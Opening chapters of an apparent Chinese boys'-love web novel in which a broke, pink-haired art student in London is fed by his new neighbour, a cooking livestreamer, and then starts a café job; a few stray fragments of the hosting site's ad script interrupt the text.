《事已至此,先吃饭吧!》 1. 赌气 英区时间晚八点。 伦敦某大学留学生公寓,515宿舍—— 已经是深夜,窗外凉风瑟瑟,风从窗隙挤进来,把窗下的发财树树叶吹得簌簌作响。 床尾一只黑白相间的猫正在睡觉,打鼾的动静异常大。 “你现在的处境我知道。” “我朋友August在你学校附近开了一家咖啡馆,我和他打过招呼了,你缺钱可以去那里兼职。”放在床头柜上的手机通着微信电话,冷冽的男声从听筒钻出来。 电话这边却异常的安静,隐约听见有男声,但不是手机主人的。 那头等了半分钟,没等到回话,迟疑了一下就提高音量问:“祝渝,你在听吗?” 声音多了些肃然,带着长者的威严。 “或者说你还在生气当时我没有站在你这边,帮你说话?”对方好似明了了,虽是问句,却带着几分笃定,显然已经看透了祝渝。 手机的主人盘腿支着下巴,目光和注意力从始至终都在支在床头的平板上面。 而平板里正播放着一档美食教学直播。 祝渝看得很起兴,一点也不想去搭理和自己通电话的人,直到听见对方说了这样笃定的话,他才终于有了点反应。 于是他把手机拿过来,将镜头面向了自己。 “纠正一下,我生气不止是因为你没有帮我说话。”祝渝竖起了右手食指,咬重了“不止”这两个字的字音,舌尖一抹银色也若隐若现。 对面没有露脸,祝渝听见了他那边有汽车鸣笛的声音,也不知道祝霆是在去做什么的路上。 祝霆敛眸看着手机界面。 镜头里祝渝穿着短款的小熊图案睡衣,半扎的头发乱糟糟的,头顶那簇呆毛也耷拉着,没什么精气神。 他是东方人,却没有明显的东方人特征,五官反而格外精致,很像东方商场橱窗里面的洋娃娃,皮肤很白,即便染了一头张扬的粉发,肤色也没有受到丝毫影响。 眼睛通透又明亮,像一汪明月照耀下的浅潭,灵气十足。 矅黑色的耳钻在灯光之下发着冷光。 祝霆皱眉,他记得三天前和祝渝通话的时候他还不是这个发色。 但这只是小事。 他知道祝渝说的“不止”是什么意思。 “母亲在你离开后特意警告过我们了,给你钱只会让你在英国待更久。”祝霆的所有耐心都给了自己这个弟弟。 祝渝更生气了,他皱着眉瞪了镜头一眼,满眼不满,“哦。” 他知道祝霆看得见。 “不给我钱就算了,我很在乎吗?” “我根本就不会在意。” “你们觉得这样就能让我屈服吗?” “搞笑,其实我也不差你们的钱。” “但是凭什么我找我朋友要钱你们都要管?” “你们,真是,太,过分了!” 语气带着一股小孩子气,祝霆也没料到祝渝会破防到愿意一口气和自己说这么多句话。 祝渝说完就把手机扔到一边,抱起平板继续看起了直播。 祝霆不可置否地轻叹了一口气。 祝渝的脾气一向很差,还特别记仇,性子骄纵又不讲理,但他偏偏又是祝家最宠爱的那个孩子,想来这一身毛病都是被惯出来的。 “看来你还是没有改掉你的脾气,你知道吗?除了我们就没人能受得了你。”至少祝霆的语气听起来是关心祝渝的。 祝渝赌气:“那你们也讨厌我好了,我不需要被喜欢。” 又任性了。 “而且祝渝,送你出国并且控制你的生活费是家里人一致的决定,连祖母都同意了。”祝霆补充。 “什么叫家里人一致的决定?我不是祝家人啊?我同意了吗?”祝渝气笑了,他跪着挪到手机旁边对着镜头打了几个空气拳来发泄不满。 祝霆看着手机,唇角缓慢上扬,“少数服从多数,你的抗议无效。” 他余光瞥到祝渝放在一边的平板里面正播放着一档美食直播。 又好心提醒:“还有空腹少看这种直播,容易得胃炎。” “那是我想空腹吗?”祝渝冷笑一声,“等我饿死了,你们就是杀人凶手!” 然后他就听见祝霆的一声轻笑,祝渝差点被气晕过去,他现在哪里还饿啊,气都吃饱了。 于是怒道:“挂了!我们才没什么可聊的。” 祝霆颔首说好。 祝渝准备挂电话的手却又顿住了,他脸上突然有些不自在,别扭着语气问对方: “对了,你那个叫‘我哥斯特’的朋友,咳,他那个咖啡店叫什么名字?” “我只是去喝咖啡,你别多想。”末了还别开头掩饰了一句。 “是August。”祝霆无奈纠正,很给祝渝面子地没有戳穿他的心思,“关于他的信息一会儿发你微信,不要挂完电话就把我拉黑了。” 祝渝挂完电话就将手机丢在了一边,手机很快响起了几道微信消息提示音。 …… 祝渝被送来英国‘流浪’已经三个月了。 因为他离家出走玩失踪的事引发众怒,所以被母亲找人连夜打包送了过来,祝渝的反抗没有任何效果,大概就是要向他妈服软认错才有回国的希望。 但祝渝天性好强,硬是吃了三个月的苦也没有主动联系过家里人去认错,唯一和他联系的祝霆还是对方主动的。 其实说吃苦也算不上,因为吃苦好歹还有苦可以吃,而英国只有难吃的白人饭和贵死人的中餐。 他算是明白了,留学哪里是拼的家世好不好,拼的是命硬不硬。 而现在他在英国的日常就是躺床上挨饿和看直播止饿。 一开始只是挨饿的。 看直播止饿是因为有一次他饿着肚子刷字母站,刷到了这位做美食教学的up,看入迷后就没注意到肚子饿的事了。 后来他发现这个博主从来都不带货,不打广告,不像其他博主那样一惊一乍,甚至不讲一句多余的话。 做的美食卖相也相当不错,还有…… “趁着锅里的肉在焯水,我们可以把洗净的香菇拿出来切成块了。”博主的动作有条不紊,并不急切,声音温润又清冽。 祝渝被这道声音唤回了神,他重新定睛看起了直播。 博主并未露脸,仅露出的上半身在围裙的束缚下,将身材线条勾勒得流畅又紧致,博主是典型的倒三角,宽肩窄腰,手臂健硕有力,上面的青筋脉络分明。 所以还有就是这个博主的身材在一众擦//边博主中都是属于上乘的。 而祝渝又是学美术的,和部分美术生一样,他自然而然就会偏爱美好的物与人。 于是准时看直播就成了祝渝每周五固定的作息了。 大概是因为这个点对国内来说太晚了,直播间的人比以前少了大半,弹幕也是零零散散的。 【现在是凌晨四点多啊,老师怎么会在这个点直播呢?】 【出国了】 【他出国了,到英国去了,看他主页】 …… 祝渝眼尖地注意到了这几句弹幕。 于是顺手点进博主主页看了一眼,IP地址果然从北京变成了英国。 个人介绍也从空空如也到现在多了一句「到英国留学了,以后直播时间是每周六凌晨一点至两点不定」 难怪每周五固定的直播时间居然延迟到了现在。 所以什么时候来英国的呢? 祝渝不太关注这些,他关注的一向只有这个博主做出来的美食。 博主的作品栏是清一色的美食制作教程。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>祝渝简单翻了一下,确定自己没有漏追的视频就重新回到了直播间。 直播继续着。 墙上的挂钟转了半圈,祝渝馋得把腰带勒紧了一圈。 博主将透明的锅盖盖了上去,出声提醒:“就这样再闷十五分钟就可以出锅了。” “如果没有问题,我就下播了,大家早点睡。”清清润润的声线,像春日的山涧水,听着就很舒服。 也不知道是不是错觉,祝渝总能闻到房间里飘着一股香味。 一股久违的菜香。 为什么说久违?因为这好像是他在国内吃过的黄焖鸡米饭的味道。 他敛下浓密的羽睫,视线重新落在了平板上,博主今晚做的就是黄焖鸡米饭。 祝渝开始怀疑英国的网线是不是有些过于发达先进了。 忽地,祝渝眉心一跳,后背发凉,不好的预感从尾椎骨钻上了头。 他回头看去,一直躺在床尾打鼾睡觉的奶牛猫不知道什么时候醒来了。 正蹑着猫步悄咪咪地往门边挪。 “刘波,你又要做什么?”祝渝警惕着喊它。 刘波前爪立马僵在空中一动不动,显然是打算做坏事但被祝渝抓包了。 他之前不信,现在是真觉得奶牛猫神经兮兮的。 好在祝渝已经习惯了刘波的日常发癫,刘波现在就算叫破喉咙他也不会搭理它了。 然后—— “喵!”“喵——”是真打算叫破喉咙的架势。 宿舍的隔音效果一般,而且现在这个点已经很晚了,祝渝也没想到刘波真的会选择在这个点扰民。 他急忙跳下床去把刘波捞起来手动捂嘴禁了音。 “你又怎么了?我都说了,我明天会去咖啡馆打工赚钱给你买猫粮的。”祝渝提溜着它的后颈和它对视说。 刘波费劲挣扎着。 它原是一只瘦骨嶙峋的流浪猫,祝渝在自己都过得很艰难的情况下,还是心软把它捡了回来,并养出了现在这一身肥膘和蛮劲。 祝渝饿得没力气擒它,干脆打开卧室门把它放了出去。 不开门还好,一开门那股香味更浓郁了。 祝渝终于确信自己在看直播时闻到的香味不是因为他饿昏头了,而是真的有人在这个点做饭! 而从祝渝手里挣脱的刘波又跑到了玄关的门边。 它回头看祝渝,是让祝渝来给它开门的意思。 祝渝真的很想问它,是不是因为体谅自己,所以决定半夜出去流浪了。 他打开门跟着刘波走了出去,他倒要看看刘波到底想做什么。 刘波并没有跑远,它跑到对门514宿舍门口就停下来了。 祝渝闻到整条走廊都是这种黄焖鸡米饭的香味。 而香味的源头…… 正是对面514宿舍传出来的。 怪不得刘波跑出来蹲人家门口,这搁谁不迷糊啊。 祝渝一直记得自己对面是没人住的,也不知道什么时候搬来了一个新东方厨师。 因为根本没办法接受被拒绝带来的窘迫和尴尬,所以祝渝忍住了敲门蹭饭的想法。 他是忍住了,脚边的刘波却未必。 它先是试探性地叫了一声,祝渝立马警觉地看向它,“刘波,我警告你,你最好管住嘴。” 为时已晚,刘波开始疯狂地用一双前爪抓挠着门板,叫声回荡在整条走廊。 祝渝两眼一黑,弯下腰准备捞起刘波就从案发现场逃走。 但他没意识到自己现在离514的宿舍门很近。 “咚!” 祝渝被撞得眼冒金星,后退了好几步,最后没站稳摔跪在了地上。 他捂住脑门呼痛,眼角挤出了泪水,等他从昏沉中缓过来,眼前514宿舍的门把手却在此刻被扭动了。 2. 蹭饭 在门被打开的瞬间,祝渝几乎没有思考地将怀里的猫抱起来挡在脸上,绝望开口:“不是我,是它干的!” 一向乖张不驯的声音甚至被吓劈叉了。 空气凝固住了,整条走廊安静得落针可闻。 也是,自家房门被搞出那么大的动静,开门还看见一个人抱着猫跪在门前,是谁见了这诡异场景都会沉默的。 “抱歉。” 终于,祝渝主动为自己的失态道了歉。 对面还是没说话,祝渝才反应过来他现在是在国外,用汉语道歉就和在中国用英语道歉一样没诚意。 于是祝渝把猫放下来抱进了怀里,准备用英语再重复一遍。 但头顶却在此刻传来了一阵极轻的低笑,没有什么恶意的,清润中有几分温柔缱绻,刮过祝渝的耳膜,挠得他心尖发痒。 “你好。”很标准的中文。 声线温和,咬字清晰。 涓涓春水的感觉,“没关系。” 祝渝在听见汉语的刹那就瞪大了眼睛,他仰头看向了眼前的人。 男子身材颀长,胸肌宽阔,五官立体,是东方人的长相。 对方清俊的五官中透着一抹来自年长者的温柔,如墨画般的眉眼微弯,眸珠是浅灰色的,深邃醉人,唇角嵌着几分自然的浅笑。 看得出来,他并没有因为祝渝的失礼而感到生气。 此刻双方都在打量着彼此,柏沉眼底有片刻的诧异划过。 而祝渝的目光就过于直白了,要把人盯穿了似的。 柏沉轻咳一声,稍稍别开了头。 “抱歉。”祝渝回过神,很不好意思道:“这是意外,我……可以解释。” 他抱着刘波解释:“它闻到外面有香味,就悄悄跑了出来,我来抱它走,没注意就撞到你的门了。” 祝渝声音越压越小。 他的眼睛眸珠偏浅,墨色,含着水雾,清水琉璃般,睫羽纤长,很漂亮,还可怜。 而额角一块和发色相似的粉色凸起就证实了祝渝的话。 走廊有风卷过来,柏沉注意到祝渝的一双胳膊和腿都裸//露在外。 他摇摇头,用温和的嗓音回话:“没关系,你先起来吧。” 柏沉弯下腰对祝渝伸出了右手。 祝渝说谢谢,他伸出手准备搭上去,却在看见对方指节和手腕上的两颗痣以后顿住了。 他又下意识抬眼打量起了对方。 男人身上系着一件带云朵花纹的蓝色围裙,身材健硕,臂膀肌理平滑有力,围裙挡住的是宽肩窄腰,完美的倒三角身材。 再想到他追更的那个博主也来英国了,同样是这个点在做黄焖鸡米饭。 不会有这么巧合的事吧? 他突然的走神让眼前的人很困惑,柏沉又小声去唤祝渝:“怎么了?” 祝渝急忙把手放了上去。 借着柏沉的力从地上站起了身。 他脑袋磕得疼,膝盖也没好到哪里去。 因此起身的时候还不受控地往前踉跄了一下,还是柏沉手快地扶住了他。 祝渝急忙道谢,这会儿躺在他臂弯里的猫倒是安静了。 “我是你的邻居,就住在515。”祝渝主动介绍自己。 柏沉点头,温柔回应了一个字:“好。” 然后他看向了祝渝手中的猫,主动问:“刚刚就是它在抓我的门吗?” 这是要……计算损失? 祝渝偷摸瞄了一眼柏沉身后被抓出了好几道痕迹的门。 他眉心一跳,有些想和怀里逆子断绝关系了。 “嗯……但刘波它不是故意的。”祝渝还是忍不住替刘波说了情,“这个门赔偿的话,要多少钱呀?” 自古慈父多败儿。 祝渝痛心疾首。 柏沉又笑了起来,眼角蕴着浅浅的笑纹,“不用赔偿的。” “它很可爱。”柏沉又说。 祝渝用怀疑的眼神看向柏沉,却见对方的神情并不像是在说客套话。 柏沉不察觉,继续问祝渝:“它叫刘波吗?你刚刚这样叫它了。” “对!”祝渝拍了拍刘波的屁股,使唤:“刘波,叫人。” 然后柏沉就听见对方怀里的猫叫了一声:“喵。” 是一道短促却并不敷衍的叫声。 柏沉诧异后又是两声轻笑,并没应声。 “那个,你是在做饭吗?”祝渝问。 柏沉点头,并没有隐瞒的意思,而后又道: “既然你的猫也找到了,那我就先进去了,我煮在锅里的菜可能要糊了。” 他将视线从祝渝的头上收回来。 “等等!” 祝渝突然把刘波抱起来挡住了自己的下半张脸,他的眼睛从刘波头顶冒出来。 四目……六目相对,祝渝扭捏道:“那个……” “怎么了?”柏沉很有耐心地看着一人一猫,等着祝渝说下去。 不管了,撑死胆大的,饿死胆小的! 祝渝鼓足勇气说:“你可以…赏我们父子俩一口饭吃吗?!” “我们三天没吃饭了。”干巴面包和蔬菜沙拉应该不能叫饭吧? 他把刘波举高了一些,哀求:“求你了,我和刘波真的什么都可以做的。” 刘波也跟着举起前爪,摆出招财猫的动作,眼眶湿润,在祝渝话音刚落的时候出了声:“喵。” 对面的两双眼睛都很好看,双双带着恳求的意味。 柏沉凝眸沉思着,微微蹙眉打量着眼前的人和猫。 不说话是什么意思? 是觉得他不礼貌吗? 好吧,的确不礼貌。祝渝内心已然崩溃,早知道就不问了。 他正要为自己找补,没想到柏沉却点头了,但他表情有些为难,祝渝听见他说:“可以的,但是……但是没人吃过我做的饭,也许不好吃。” 笑话,现在就算给祝渝一盆西湖醋鱼他也能吃完了。 他和饕餮的区别可能就是他名字笔画没人家多。 祝渝头立马点得如小鸡啄米般快,“没事没事。” “闻着就很香,一定很好吃!而且我不挑食,很好将就的!”祝渝眼睛亮晶晶的,蒙在眸珠上的水雾散却,此刻如星子般明亮有活力。 柏沉微微侧身将门推开,“进来吧。” 祝渝两只手抱着刘波,小心翼翼踏进了别人的家。 房间的温度比较低,除开充斥在整个房间的黄焖鸡米饭的香,祝渝恍惚还闻到了很淡的槐花香,这味道倒是与这人身上的气质很契合。 柏沉领着祝渝到客厅的餐桌前坐了下来,给他倒了一杯热茶才说:“我去看看锅里的菜,你稍等一下。” 祝渝柏沉点头说好,一头粉色软发微微凌乱。 等柏沉去到厨房以后,祝渝就悄悄打量起了客厅。 看得出来对方的确是刚搬来的,很多家具都还不齐全,屋里的东西都摆得都很整齐,整个房间的色调是冷调的,暗灰色装饰着这个家。 冷冷清清的,不像是有人住进来了的样子,不过刚搬来的话,倒也正常。 知道自己是厚着脸皮进来的,所以祝渝的坐姿很端正,没敢像在家里那样随意。 他两只手捧着茶杯,轻抿了一口热茶,他在家是不喝茶的,现在在别国尝一口中国茶,祝渝终于能理解那些品茶的人了。 他偏头看向厨房。 厨房窗边的直播支架还没收起来。 这下彻底验证了新邻居就是他追更的美食教学博主[柏泽]了。 那他叫什么名字呢?也姓柏吗?祝渝悄悄猜测。 厨房的人在忙碌着, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 祝渝觉得自己有些坐立难安,思量过后他决定主动和对方搭话。 “对了,你这……”话没说完,厨房里的人就出声打断了他。 柏沉转头看向祝渝,“我叫柏沉,沉香的沉。” 果然姓柏。 不不,关注点不应该是这个。 祝渝急忙也模仿着对方的说话方式自我介绍:“我叫祝渝,祝福的祝,矢志不渝的渝。” 柏沉顿了一下,在脑海里把这两个字实体化了才问:“你刚刚想问什么?” 祝渝反应过来,忙应:“哦哦,柏沉,我想问你这个茶叶是什么牌子的,很好喝。” 柏沉没有立马回话,他关掉火,锅里的黄焖鸡已经闷好了,盖子打开,锅里还发出“咕噜”的声音,浓稠的汤汁鼓泡再裂开,香味扑鼻。 他撒上葱花,端着锅走出了厨房,将锅放在了餐桌的布垫上面。 装在石锅里的鸡肉色泽金黄,香味四溢,焦糖色的浓稠汤汁包裹着每一块肉和土豆,葱花做点缀,只是看着就让人食欲大增。 刘波闻到味儿就将脑袋从他怀里钻了出来。 一人一猫的目光都直直地落在了锅里。 柏沉摆好菜,注意到祝渝已经将杯里的茶喝光了才说:“这茶叶我自己做的。” “那你好厉害呀!”祝渝终于把视线从碗里挪开,他和刘波都仰头一脸崇拜地看着柏沉。 柏沉有些招架不住,别开头解释:“只是闲来无事在网上学的。” 柏沉解释完又回厨房盛了两碗米饭出来,还端了一碗剔了骨头的鸡肉放在祝渝脚边。 就在祝渝不解的时候,柏沉突然问:“刘波可以吃吗?” 祝渝眸珠轻颤,有些诧异。 他抠弄着衣摆,看着柏沉小声说:“这样你的碗会脏……” “没关系,刚刚你说你和它都饿了三天呀,就算是小猫也要吃东西吧。” 柏沉抬着头看祝渝,眉眼舒展,笑着。 眉间只余淡如春水的温和。 “谢谢你。”祝渝今天说的谢谢比他在家一个月说的次数都多。 祝渝弯腰将刘波放在了地上,又说:“它什么都能吃的,你不用太担心它。” 柏沉起身坐到了餐桌的对面,将米饭和筷子一起摆在了祝渝的桌前,说:“那就吃饭吧,一会儿菜凉了。” 祝渝就等柏沉说这句话了。 他急忙拿起筷子夹了一块鸡肉塞进嘴里,煮烂了的鸡肉细嫩多汁,入口即化,并不柴,黄焖鸡特有的鲜瞬间在嘴里蔓延开,味蕾被彻底满足了,祝渝眼眶一下就湿润了。 柏沉盯着他看。 似乎在等祝渝给他一个反馈。 他看见祝渝抬起手在唇边扇了扇风,然后一抬头就和柏沉对视上了。 柏沉看见了他眼底的水花。 “怎么了?不合胃口么?” 祝渝摇头解释:“烫。” 声音里掺着一丝不好意思。 柏沉失笑,劝他吃慢点。 祝渝又埋头苦干了起来,他的吃相很不错,快却不狼狈,看得出来他的确是饿了。 只一会儿他就塞了大半碗饭进肚里了,石锅里的菜也以肉眼可见的速度减少了。 柏沉看着眼前渐空的锅和祝渝认真吃饭的脸,心里莫名升起了一种怪异的满足感。 这种满足感促使柏沉主动将石锅往祝渝面前推了一些,让他夹起来更方便。 祝渝注意到了这个举动,不知怎的,情绪就上来了,他一双明眸先是染上了透明的水花。 紧接着纤长的睫羽被打湿,鼻尖猛地泛了酸。 柏沉抬眼刚好看见祝渝长睫上挂着的那滴泪珠掉下来,在桌面砸出了一朵透明的水花。 柏沉心一惊,放下筷子给祝渝抽了一张纸巾,“你怎么了?又烫到了吗?” 3. 见过 祝渝急忙摆头,吸鼻子解释:“不是,我哭是因为太好吃了,我真的很久没吃过中餐了。” 在吃了三个月白人饭以后突然吃到这么好吃的免费中餐,换成谁都会忍不住掉眼泪吧。 柏沉暗自松了一口气,“其实我还担心你吃不惯,因为我没有做饭给别人吃过。” 祝渝嘴里塞着饭不便说话,脚边吃饭的刘波就叫了起来。 “喵呜喵呜喵呜……” 祝渝拍拍胸脯将堵着的饭顺了下去,而后替它解释:“刘波的意思是很好吃。” “我也想说,你不用担心,因为真的很好吃!”祝渝把空碗递了出去,表情略有羞涩,“所以……请问可以再给我盛一碗米饭吗?” “可以的。”柏沉没想到祝渝这么快就吃完了一碗饭,心里那点满足感被无限放大,他暗暗压下了这种似乎并不正常的心理。 接过碗回到厨房再给祝渝盛了一碗米饭。 …… 二十分钟不到,桌上的菜和厨房的饭都见了底。 柏沉早放下了碗筷,他注意到祝渝的粉色头发在灯光之下意外的亮眼,在这个暗色调的家里,成了一抹最明亮鲜艳的颜色。 祝渝好像这个时候才从饥饿中缓过来。 他放慢了吃饭的速度,看着柏沉的眼睛问:“我之前没见过你,你是什么时候住进来的啊?” 柏沉如实道:“前天上午。” 祝渝一副恍悟的表情,心道怪不得他没印象,因为这两天他都在画室忙,每次回来都是下午六七点左右了。 他回来后非必要就不会出宿舍了,所以整整两天没发现对面住进了新住户也是很正常的事情。 祝渝把最后一口鸡肉塞进嘴里,就着温水一起咽下后才对柏沉说:“谢谢你的招待!这是我这个月第一次吃中餐,如果不是你,我和刘波真的就饿死了。” 柏沉其实也想说,他也是真的第一次见饿成这样的人和猫。 但柏沉只说了不用谢。 然后他就起身将桌面的碗收了起来,祝渝急忙跟着站起身,“要洗碗是吗?我来吧。” 他已经吃了别人的饭,怎么说也应该帮别人做些什么。 柏沉推脱:“不用的,反正我自己一个人吃也要洗碗的。” “可是我应该帮你做点什么吧?”祝渝跑到柏沉跟前,张开双臂挡住了柏沉的路,“毕竟我吃了你做的饭。” 不得不说,柏沉的身材在同龄人里面真的很出众。 祝渝站在他身前,对方宽阔的胸肌完美挡住了祝渝视线,真的好大好完美的胸肌啊…… 祝渝眨了眨眼,想到了自己的细胳膊细腿,非常难得感觉到了一丝丝的自卑。 柏沉没注意到祝渝的这点小动作,听见祝渝的语气如此坚定,垂眸思考了一下才道:“那你帮我擦碗吧。” “好!” 祝渝这才把张开的手臂放下,跟着柏沉进了厨房。 祝渝虽然没洗过碗,但好歹也看见家里的保姆洗过,加上他是第一次做这种事,所以动作都很仔细,并没有把事情搞砸。 厨房安静了下来。 只能听见水流的“哗哗”声和瓷碗碰撞的声音。 祝渝觉得安静得有些诡异了。 他小时候身体不好不长个,长大后各种补也只是勉强跟上了同龄人的身高,现在和柏沉站在一起,比对方矮了快一个头。 他悄悄看了一眼柏沉被凉水冲得微微泛红的指节,然后出声打破了两人间的寂静,“柏沉,你是学什么的啊?” “建筑设计。”柏沉说。 祝渝好像找到了两人之间的话题,跟着说:“我是学美术的,那说起来我们之间还有点联系呢。” “五楼本来只有我一个中国人的,现在又多了一个你,我们还是邻居,真有缘。” “然后你才刚住进来,我们就认识了,所以我们也算朋友了吧?”祝渝低着头擦碗,嘀嘀咕咕地说了很多话。 柏沉偏头看着祝渝头顶粉色的璇,点头应和:“嗯,算朋友了。” 祝渝抿了抿嘴,抬头看向了柏沉,却和柏沉对视上了,不过对方很快就别开了眼。 祝渝没多想,他好奇问:“柏沉,你同意让我到你家吃饭,是因为我也是中国人吗?” 他饿的时候脑子死机根本就想不到这么多,现在吃饱了才思考,柏沉为什么会同意自己来蹭吃呢? 柏沉洗碗的手顿了一下,又别回头看向了祝渝。 他的眸色有些深,瞳仁似晕开的水墨,浅灰色,有莫名的神秘感,祝渝微微歪头,表情有些疑惑。 柏沉犹豫了一下,突然问:“你前天是不是留着金色的发色?” 祝渝听完就他的话就地瞪大了眼睛,他追问:“你怎么知道呀?!” “我是昨天才刚换的这个发色。”能看出来祝渝的发色的确是新换的,发根都还是粉色的。 柏沉解释:“因为前天我去报道的时候见过你,你那时候留着金发。” 祝渝回忆了一下自己那天做的事,几乎一整天都在画室,只有午休的时候和同学去操场打了一会儿羽毛球。 如果他见过柏沉,以祝渝的性格,他不可能对这样的帅哥没有印象,所以他问细节:“前天么……前天具体什么时候啊?” 柏沉认真思考了一下才回答:“大概是中午,当时你和你的朋友在打羽毛球,我路过的时候看见了,因为你的发色很好看,我就记住你了。” 顿了一下,他补充:“也就是这样,我今天才会同意让你到我家来。” 柏沉说的是实话,他就是因为对祝渝这个人有一点印象才同意他到自己家里来的。 “真的呀?”但祝渝的注意力很明显地跑偏了。 他只听见了柏沉夸自己之前的发色好看,于是等柏沉说完话,他转身面向柏沉,举起手比了一个耶,他冲柏沉笑:“那你觉得我现在这个发色怎么样?” 祝渝的皮肤白皙又细腻,五官精致,因为这张脸,甚至很多人都会忽视掉祝渝的耳钉和嘴里的舌钉。 他们的注意力只会在祝渝的脸上,那是在娱乐圈光靠脸都能挤进一线的脸。 柏沉收回打量的目光,认真说:“也很好看。” 其实是祝渝这张脸好看,所以再明艳夸张的发色都不会对他的颜值有丝毫影响。 祝渝立马激动说:“本来我还觉得这个发色不好看,想着下个月去把它染成蓝色的呢!” “既然你说好看,那我就多留一段时间!”祝渝松软的粉发被窗隙吹进来的晚风轻轻拨弄着。 祝渝说话的功夫,柏沉已经默默将他剩下没擦的碗擦干净收起来了。 “总之呢,真的很感谢你今晚的招待,以后有事情都可以到515来找我!我一定会帮助你的!”祝渝把脚边围着两人打转的刘波抱了起来,然后对柏沉承诺。 柏沉关掉水龙头,点头:“好,谢谢你,祝渝。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哎!应该是我谢谢你呀!”祝渝摆摆手,环顾四周发现没有自己可以帮忙的事情了,他才对柏沉开口道别:“如果没有需要我帮忙的地方,那我就先回去啦?!” “好。”柏沉接过了祝渝脱下来的围裙。 柏沉将他送到了门口,祝渝走出门后回头对柏沉摆了摆手,“晚安柏沉,谢谢你。” 他又拍了拍怀里刘波的屁股,使唤:“刘波,叫人。” 刘波吃饱了饭,现在在祝渝怀里打盹,听了祝渝的话后它就抬起头冲着柏沉叫了一声。 “喵。” 柏沉第一次在猫的脸上看见了谄媚的表情,他微笑应声,“好。” 这样近距离看着对方的脸,祝渝才看见柏沉笑起来的时候右边脸颊上有一个很小的梨涡。 莫名有些反差。 祝渝抱着猫心满意足地打开门回到了宿舍,只是刚要关上门他就突然想起了一件事,他急忙转身出去准备叫住对面的柏沉。 只是514宿舍的房门已经紧闭了。 祝渝沉默地站在门前,他忘记问柏沉的联系方式了。 好歹也算认识了,怎么能把这么重要的事情忘记了呢。 不过没关系。祝渝安慰自己。 毕竟现在两人是邻居,以后肯定还有见面的机会,到时候自己再问他的联系方式也不迟。 这样一想祝渝心里就开心多了。 回到家祝渝才关心起祝霆给他发的消息。 大致就是说August是他几年前来英国出差认识的朋友,这些年一直保持着联系。 祝霆给他说了祝渝目前的情况,他表示理解并且也愿意帮助祝渝。 让祝渝明天上午九点去咖啡馆面试。 祝渝洗漱完躺回了床上,都快睡着的时候不知怎么又想起了柏沉。 他睁开眼,翻身将床头打瞌睡的刘波抱进了怀里,自言自语道:“他真好。” “长得也好看。”他没想到[柏泽]这个ID下的脸会那么好看,性格也那么温柔。 祝渝把脸埋进刘波的肚子里,悄悄地笑了起来。 最后在脸上挨了刘波一爪子后才消停下来。 —— 黄焖鸡的味道还在房间里荡着。 因为睡前祝渝没舍得开窗把味道散走。 以至于祝渝做梦都是梦见自己在吃黄焖鸡。 直到床头的闹钟铃声打破了祝渝的美梦。 一只白净的手从被窝里钻出来,在床头柜上摸索着按掉了聒噪的闹钟。 十分钟后,闹钟又响了起来,这次床上的被子终于被掀开了。 床上的人一头粉发睡得乱七八糟的,头顶的那簇呆毛却还屹立不倒。 祝渝揉了揉睡眼惺忪的眼,盯着天花板,默默在心里哄了自己很久。 最后他才把胸口上压得他喘不过气的刘波提溜到了另一边,不情不愿地从被窝里爬出来。 然后洗漱,扎头发,啃面包,换衣服,他磨蹭惯了,等出门已经是半个多小时之后了。 锁门的时候,他还下意识转头看了514宿舍一眼,房门紧闭,也不知道是出门了还是没有起床。 祝渝锁好门抬起手腕一看时间,刹那间脑子里的瞌睡全都被吓得跑光了,八点四十二了!! 咖啡馆离学校不远,但留学生公寓离学校有十多分钟的距离,而面试时间是九点整,祝渝连书包都没背好就开始往学校跑了去。 4. 请求 祝渝赶到咖啡馆是十二分钟之后了,真正意义上的踩点。 咖啡馆这个时候也陆陆续续有了客人。 他有些心虚地推开门走了进去。 祝渝来英国之前就知道,英国人是很守时的,他暗暗庆幸自己没有迟到。 “你好。”祝渝用英语对前台招待的服务员打招呼,“我是来面试的。” 他英语口语很好,完全听不出有什么口音。 前台是一位金发碧眼的英国人,她看向祝渝微笑着问:“请问你的名字是……” 祝渝把名字告诉给了她。 “好的,请和我来吧。”她将祝渝领到了后台的休息室,祝渝跟着她,一边走一边打量着周围。 女人推开了一扇门,祝渝看见里面挂着很多工作服,还有对应的员工柜。 她看向祝渝说:“我叫Chloe,你现在去换一套合适的工作服吧,一会儿我再和你说你的工作。” 祝渝好奇:“我不需要面试吗?” “老板说你到了之后就可以工作了,一会儿我会把合同给你的。”Chloe微笑解释。 祝渝说好,看来祝霆应该把一切都打理好了。 他挑选了一套合适的工作服,白色衬衫,咖色围裙,围裙胸口处印着咖啡店的店名,他身材也算高挑,天生的衣架子。 等他换好衣服,Chloe又将一个员工柜的钥匙给了祝渝,让祝渝把他的衣服和东西锁进去。 然后她就给祝渝交代了一些工作方面的细节。 祝渝的工作就是把客人的饮品和甜点送到客人桌前。 因为他是兼职,咖啡店这边决定按小时给他算账,一天一结。祝渝听完眼睛都亮了。 他的工作并不难。 即便从来没做过这种工作的祝渝也很快就适应了。 好在工作日的咖啡馆没有那么忙,又可能因为是他第一次做兼职,祝渝没感觉到累。 角落靠窗的那桌是三个华裔,两女一男。 祝渝听见他们好像是学校建筑系的学生。 他们学校建筑系的华人最多,所以看见建筑系结伴一起玩的华人也很正常。 祝渝听见他们好像在讨论什么人。 “Vera[维拉]教授的那个学生好像休学回来了。”短发女孩说。 卷发女孩追问:“就是他那个得意门生吗?” “就是他,我昨天看见他了,本人比照片还好看!!”短发女孩一脸兴奋,双眼放光,“身材也特别好!” 寸头男生好奇:“他是为什么休学来着?” “说是家里的事?也好像是他生病了吧?不确定。”短发女孩猜测。 “你和他接触过吗?他人怎么样?”卷发女孩好奇。 “特别温柔!!他没休学的时候我们和他合作过一个项目,他真的特别细心,项目好多细节都是他处理的。” “怎么说呢,就是给人一种明明是同龄人,但就是比我们都要成熟稳重,感觉是死皮赖脸就能追上的那一款。” “拉倒吧,还死皮赖脸追人家,前两天一个金发卷毛弟弟过来搭讪,是谁拔腿就跑?” “哎呀你不要提这件事了!!” …… 祝渝在旁边擦桌子,把三人的对话一字不落地听了进去。 听见他们讨论的人是建筑系的,祝渝还觉得挺有缘的,因为柏沉也是建筑系的。 但他没往心里去。 